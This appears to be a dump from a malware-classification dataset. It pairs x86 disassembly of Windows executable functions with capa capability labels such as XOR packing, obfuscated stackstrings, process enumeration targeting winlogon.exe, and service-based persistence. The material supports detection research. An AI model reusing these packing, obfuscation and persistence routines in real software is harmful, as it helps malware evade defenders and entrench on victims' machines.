joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac61
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40ac81
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040cd15
pop ecx
or eax, 0xffffffff
ret
test al, 1
je 0x40aca4
test byte [esp + 8], 2
je 0x40aca4
call fcn.0040cd88
mov dword [eax], 0xd
call fcn.0040cd91
mov dword [eax], 5
jmp 0x40ac7d
xor eax, eax
ret

Function at 0x40fc95
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4306c0
cmp edx, dword [eax]
je 0x40fcb7
add eax, 8
inc ecx
cmp eax, 0x430750
jl 0x40fca8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4306c0]
jne 0x40fde5
mov eax, dword [0x4331d4]
cmp eax, 1
je 0x40fdbf
test eax, eax
jne 0x40fce8
cmp dword [0x42ff44], 1
je 0x40fdbf
cmp edx, 0xfc
je 0x40fde5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40fd1f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.0040fe80
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0040e210
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40fd62
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040e210
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x42903c
push edi
call fcn.00412e20
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.0040fe80
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.0040fe90
lea eax, [ebp - 0xa0]
push 0x42901c
push eax
call fcn.0040fe90
push dword [esi + 0x4306c4]
lea eax, [ebp - 0xa0]
push eax
call fcn.0040fe90
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00412d89
add esp, 0x2c
pop edi
jmp 0x40fde5
lea eax, [ebp + 8]
lea esi, [esi + 0x4306c4]
push 0
push eax
push dword [esi]
call fcn.0040e210
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x417d20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040abe0
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x417deb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x417deb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x417d9e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x417da9
or bh, 8
and edi, 0x8000000
je 0x417dc4
mov eax, dword [0x43497c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x417deb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4181c0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x4181eb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41820f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41822a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x41c0d9
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x41c111
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0041ae61
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0041ae39
jmp 0x41c11d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x41d69a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41d6dc
call fcn.0042176d
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41d6dc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41d6d3
xor eax, eax
jmp 0x41d6e4
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041d6ea
pop edi
pop esi
pop ebx
ret 4

Function at 0x421f2c
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x421f5a
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x421f78
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00421e92
jmp 0x421f78
mov eax, dword [esi + 0x14]
test eax, eax
je 0x421f78
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00421e92
test edi, edi
mov eax, edi
jne 0x421f62
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x197a420
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0197a570
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x197a446
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x197a432
add dl, dl
jne 0x197a451
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x197a4a4
xor eax, eax
add dl, dl
jne 0x197a45e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x197a545
add dl, dl
jne 0x197a46d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a478
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a483
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a48e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x197a49a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x197a43d
mov eax, 1
add dl, dl
jne 0x197a4b2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x197a4bd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x197a4a9
sub eax, ebx
mov ebx, 1
jne 0x197a4f0
mov ecx, 1
add dl, dl
jne 0x197a4d6
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x197a4e1
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x197a4cd
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x197a43d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x197a507
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x197a512
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x197a4fe
cmp eax, 0x7d00
jae 0x197a535
cmp eax, 0x500
jb 0x197a530
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x197a43d
cmp eax, 0x7f
ja 0x197a538
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x197a43d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x197a566
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x197a43d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x235c5cf6
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..rdata
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x7bfa0ada
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret
Function at 0x401000
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44d014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x6e6f7257
call fcn.0040e362
push ecx
mov ecx, 0x7118c06b
add ecx, esi
add ecx, esi
xor ecx, esi
add ecx, esi
pop ecx
call fcn.0040e362
mov dword [ebp - 0x1c], 0x754e2067
mov dword [ebp - 0x18], 0x7265626d
call fcn.0040e362
mov dword [ebp - 0x14], 0x20664f20
mov dword [ebp - 0x10], 0x75677241
mov dword [ebp - 0xc], 0x746e656d
call fcn.0040e362
mov word [ebp - 8], 0x73
push eax
sbb eax, eax
sbb eax, eax
mov eax, 0x7a8a9cb0
add eax, eax
add eax, esp
nop
pop eax
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
mov ebx, 0xdec6b09c
mov ebx, 0xf5d3b395
pop ebx
xor eax, eax
mov edx, eax
cmp dword [ebp + 0xc], eax
jle 0x4010b2
mov ebx, dword [ebp - 0x24]
sub eax, 1
push 0x18
pop ecx
cmovs eax, ecx
mov cl, byte [ebp + eax - 0x20]
xor byte [ebx + edx], cl
inc edx
cmp edx, dword [ebp + 0xc]
jl 0x40109c
push ecx
mov ecx, 0xae3ac757
sbb ecx, esi
mov ecx, 0x96149315
pop ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x24]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00402e85
leave
ret
Function at 0x401403
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x168
mov eax, 0x44235f
call fcn.00402f64
mov ecx, dword [ebp + 0xc]
lea edx, [ebp - 0x24]
xor ebx, ebx
mov dword [ebp - 0x174], ecx
test ecx, ecx
mov dword [ebp - 0x168], ebx
lea edi, [ebp - 0x34]
mov dword [ebp - 4], ebx
mov eax, ebx
mov dword [ebp - 0x15c], 0x128
cmove edx, edi
mov dword [ebp - 0x160], eax
mov esi, ebx
mov dword [ebp - 0x24], 0x6c6e6977
mov dword [ebp - 0x20], 0x6e6f676f
mov ecx, ebx
mov dword [ebp - 0x1c], 0x6578652e
mov byte [ebp - 0x18], bl
mov dword [ebp - 0x34], 0x6c707865
mov dword [ebp - 0x30], 0x7265726f
mov dword [ebp - 0x2c], 0x6578652e
mov byte [ebp - 0x28], bl
mov dword [ebp - 0x170], edx
mov dword [ebp - 0x16c], ebx
cmp ecx, 0x12c
jge 0x401589
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x15c]
push eax
push esi
mov dword [ebp - 0x164], esi
call fcn.00401a2d
pop ecx
pop ecx
test eax, eax
je 0x40158b
push eax
mov eax, 0x2d16806d
mov eax, 0xbe9d7e61
sbb eax, esi
add eax, esi
nop
pop eax
mov esi, dword [ebp - 0x164]
push dword [ebp - 0x170]
lea eax, [ebp - 0x138]
push eax
call fcn.0040e280
pop ecx
pop ecx
test eax, eax
jne 0x40152a
lea eax, [ebp - 0x168]
push eax
push dword [ebp - 0x154]
call dword [0x457638]
test eax, eax
je 0x40152a
mov eax, dword [ebp + 8]
cmp dword [ebp - 0x168], eax
jne 0x40152a
push edx
xor edx, eax
add edx, esi
add edx, esp
xor edx, edx
add edx, eax
add edx, esi
nop
pop edx
mov eax, dword [ebp - 0x154]
mov esi, dword [ebp - 0x164]
mov dword [ebp - 0x160], eax
jmp 0x401541
lea eax, [ebp - 0x15c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4014cd
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x174], 0
jne 0x401589
test eax, eax
jne 0x401589
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.00402380
mov eax, dword [ebp - 0x160]
pop ecx
mov ecx, dword [ebp - 0x16c]
inc ecx
xor ebx, ebx
mov dword [ebp - 0x16c], ecx
jmp 0x401483
mov ebx, eax
push esi
call fcn.00402380
pop ecx
mov eax, ebx
call fcn.00402eb6
ret
Function at 0x40171b
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x44d014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, 0x400
lea eax, [ebp - 0x40c]
push esi
xor ebx, ebx
push ebx
push eax
call fcn.004044f0
add esp, 0xc
lea eax, [ebp - 0x40c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x410], eax
push edx
mov edx, 0x119334f
mov edx, 0xa6b4c4d6
mov edx, 0x7e828890
pop edx
cmp dword [ebp - 0x410], 0
je 0x40182c
call fcn.0040e362
mov dword [ebp - 0xc], 0x65736142
mov byte [ebp - 8], 0
push edi
xor edi, esi
add edi, eax
sub edi, ebx
and edi, ebp
pop edi
xor ecx, ecx
lea eax, [ebp - 0xc]
push ecx
push ecx
push ecx
push ecx
push eax
lea eax, [ebp - 0x40c]
push eax
push ecx
push 2
push 0x10
push 0xf01ff
push 0x4576b8
push 0x457678
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x414], eax
push edx
mov edx, 0x518ac503
or edx, edi
sub edx, ecx
pop edx
call fcn.0040e362
push dword [ebp - 0x410]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x414], 0
je 0x40182c
push eax
add eax, eax
sbb eax, esp
sbb eax, eax
add eax, esp
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push dword [ebp - 0x414]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
inc eax
jmp 0x40182e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402e85
leave
ret

Function at 0x4019a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x44d014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
push edi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x6e72654b
mov dword [ebp - 0x1c], 0x32336c65
mov dword [ebp - 0x18], 0x6c6c642e
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x6e65704f
mov dword [ebp - 0xc], 0x636f7250
mov dword [ebp - 8], 0x737365
push esi
add esi, eax
xor esi, eax
add esi, eax
add esi, eax
xor esi, eax
add esi, eax
add esi, eax
nop
pop esi
lea eax, [ebp - 0x10]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.00401931
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402e85
leave
ret